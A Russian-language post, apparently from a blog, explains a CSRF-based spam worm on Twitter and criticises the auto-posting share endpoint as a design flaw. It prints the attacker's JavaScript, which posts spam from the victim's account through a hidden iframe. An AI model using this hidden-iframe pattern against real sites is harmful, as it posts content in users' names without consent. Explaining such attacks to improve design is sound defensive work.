Серия атак на Twitter, когда от имени пользователя постится в ленту
некоторый спам. Как они это делали?
Классический пример использования CSRF.
Используют тот факт, что авторизовавшись один раз в веб-клиенте, пользователь остается в таком состоянии надолго. И это состояние
авторизации распространяется, в том числе, на новые окна, открываемые в браузере.
Атакующий создает страницу со следующим кодом (возможно - не у себя на сайте, а на публичном хостинге/сервисе):
<script>
var el1 = document.createElement('iframe');
el1.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=Здесь_текст_со_спамом" + window.location;
document.getElementsByTagName("body")[0].appendChild(el1);
</script>
Это из последней атаки. Ссылку на такую траницу размещают в Twitter. Теперь, если кто-то кликнул
на ней, открывается вредоносная страница. В веб-клиенте Twitter она открывается в новом окне, но текущие полномочия
пользователя на нее распространяются. Создается скрытый iframe, в котором и размещается код отправки сообщения в Twitter. А к сообщению
добавляют ссылку на страницу с эксплоитом. Вирусное распространение.
С аккаунтом/паролем, как видно, ничего плохого не происходит, но спам таким образом распространяется.
Вот этот вот URL: http://twitter.com/share/update и есть очень опасное место в API. Он размещает сообщение
автоматически. Лучше бы просто готовить текст сообщения и переводить пользователя в Twitter, чтобы кнопку Send (отправить) нужно
было бы все-таки вручную нажать. Предварительно прочитав, что предлагают отправить. Ну или, по крайней мере, чтобы это можно было
сконфигурировать в своем аккаунте - разрешать авто-отправку или нет.
|